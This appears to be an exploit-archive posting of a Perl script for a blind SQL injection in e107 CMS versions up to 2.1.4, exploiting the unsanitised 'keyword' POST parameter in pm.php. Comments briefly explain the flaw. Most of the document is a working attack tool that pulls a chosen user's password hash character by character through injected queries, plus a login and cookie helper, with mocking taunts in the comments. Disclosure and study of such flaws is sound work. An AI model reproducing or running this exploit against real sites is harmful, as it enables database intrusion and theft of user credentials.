e107 2.1.4 Blind SQL Injection
Posted on 12 March 2017
#!/usr/bin/perl # # # e107 <= 2.1.4 "keyword" Blind SQL Injection Exploit # # -------------------------------------------------------------------------- # [*] Discovered by staker - staker[at]hotmail[dot]it # [*] Discovered on 09/03/2017 # [*] Site Vendor: http://www.e107.org # [*] BUG: Blind SQL Injection # -------------------------------------------------------------------------- # # # Description # ------------------------------------------------------------------------- # e107 contains one flaw that allows an attacker to carry out an SQL # injection attack. The issue is due to the "e107_plugins/pm/pm.php" script # not properly saniting user-supplied input to the "keyword" POST variable # This may allow an attacker to inject or manipulate sql queries in # the backend database regardless of php.ini settings # ------------------------------------------------------------------------- # SHORT EXPLANATION # ----------------------------------- # # FILE: "e107_handlers/core_functions.php" # # 76. function vartrue(&$val, $default='') # 77. { # 78. if (isset($val) && $val) { return $val; } {1} <--- variable is not sanized to be sent at the mysql database # 79. return $default; # 80.} # # ---------------------------------- # # FILE: "e107/e107_plugins/pm/pm.php" # # # 35. if(vartrue($_POST['keyword'])) {2}<--- if $_POST keyword variable is set, then e107 starts pm_user_lookup() function. # 36. { # 37. pm_user_lookup(); # 38.} # # # # 615. function pm_user_lookup() # 616. { # 617. $sql = e107::getDb(); # 618. # 619. $query = "SELECT * FROM #user WHERE user_name REGEXP '^".$_POST['keyword']."' "; {3} <---- variable not sanized # 620. if($sql->gen($query)) # 621. { # 622. echo '['; # 623 while($row = $sql->fetch()) # 624. { # 625. $u[] = "{"caption":"".$row['user_name']."","value":".$row['user_id']."}"; # 626. } # 627. # 628. echo implode(",",$u); # 629. echo ']'; # ----------------------------------- # # # use your brain.. # # Greetz to: Warwolfz Crew, # meh, Dante90, SHADES MASTER and nexen # # -- 0gay -- # # ----------------------------------- # YOUR MOM IS NOT SAFE ANYMORE!! # CALL HER!! # ----------------------------------- use strict; use IO::Socket::INET; use LWP::UserAgent; my ($URL,$uid) = @ARGV; my @chars = (8..122); my ($i,$ord,$hash) = (1,undef,undef); if (@ARGV != 2) { usage(); } $URL = parse::URL($URL); syswrite (STDOUT,"[-] Crypted Password: "); for ($i=0;$i<=60;$i++) { foreach $ord (@chars) { if (e107::Query(sql($i,$ord),$URL) == 666 ) { syswrite (STDOUT,chr($ord)); $hash .= chr($ord); last; } if ($i == 2 and not defined $hash) { syswrite (STDOUT," [-] Exploit Failed"); exit; } } } if (length($hash) == 60) { die "[-]Exploit Successfully"; } else { die " [-] Exploit Failed"; } sub e107::Query { # 1st parameter, sql query # 2nd parameter, e107 website my ($query,$URL) = @_; my $response = undef; my $lwp = new LWP::UserAgent; $lwp->default_header('User-Agent' => 'Lynx (textmode)'); $response = $lwp->post($URL."/pm/", [ keyword => $query ]) or die $!; if ($response->content =~ /caption/) { return 666; } else { return 0; } } sub parse::URL { my $string = shift @_ || die($!); if ($string !~ /^http://?/i) { $string = 'http://'.$string; } return $string; } sub sql { # 1st parameter, an e107's userid # 2nd parameter substring number # 3rd parameter charcode number my ($i,$j,$sql) = (shift,shift,undef); $sql = "' AND ASCII(SUBSTRING((SELECT user_password FROM e107_user WHERE user_id=".$uid."),".$i.",1))=".$j."#"; return $sql; } sub e107::Cookies { my ($username,$password) = @_; my ($packet,$content); my $host = "127.0.0.1"; # Valid Host (insert it manually) my $path = "/e107/"; # Valid e107 path (insert it manually) my $data = "username=",$username."&userpass=".$password."&userlogin=Sign+In"; my $socket = new IO::Socket::INET( PeerAddr => $host, PeerPort => 80, Proto => 'tcp', ) or die $!; $packet .= "POST ".$path."/login.php HTTP/1.1 "; $packet .= "Host: ".$host." "; $packet .= "User-Agent: Lynx (textmode) "; $packet .= "Content-Type: application/x-www-form-urlencoded "; $packet .= "Content-Length:".length($data)." "; $packet .= "Connection: close "; $packet.= $data; $socket->send($packet); while (<$socket>) { $content .= $_; } if ($content =~ /Set-Cookie: (.+?)/) { return $1; } else { die("[-] Login Failed.. "); } # This function is useful to log-in and retrieves your cookies, but you don't need it for this exploit. # it works without log-in, but if you got some trouble, try to use this one. # e107::Login('YOUR USERNAME','YOUR PASSWORD'); } sub usage() { print "[*---------------------------------------------------------*] ". "[* e107 <= 2.1.4 'keyword' Blind SQL Injection Exploit *] ". "[*---------------------------------------------------------*] ". "[* Usage: perl web.pl [host] [uid] *] ". "[* *] ". "[* Options: *] ". "[* [host] insert a valid host *] ". "[* [uid] insert a userid *] ". "[*---------------------------------------------------------*] "; exit; }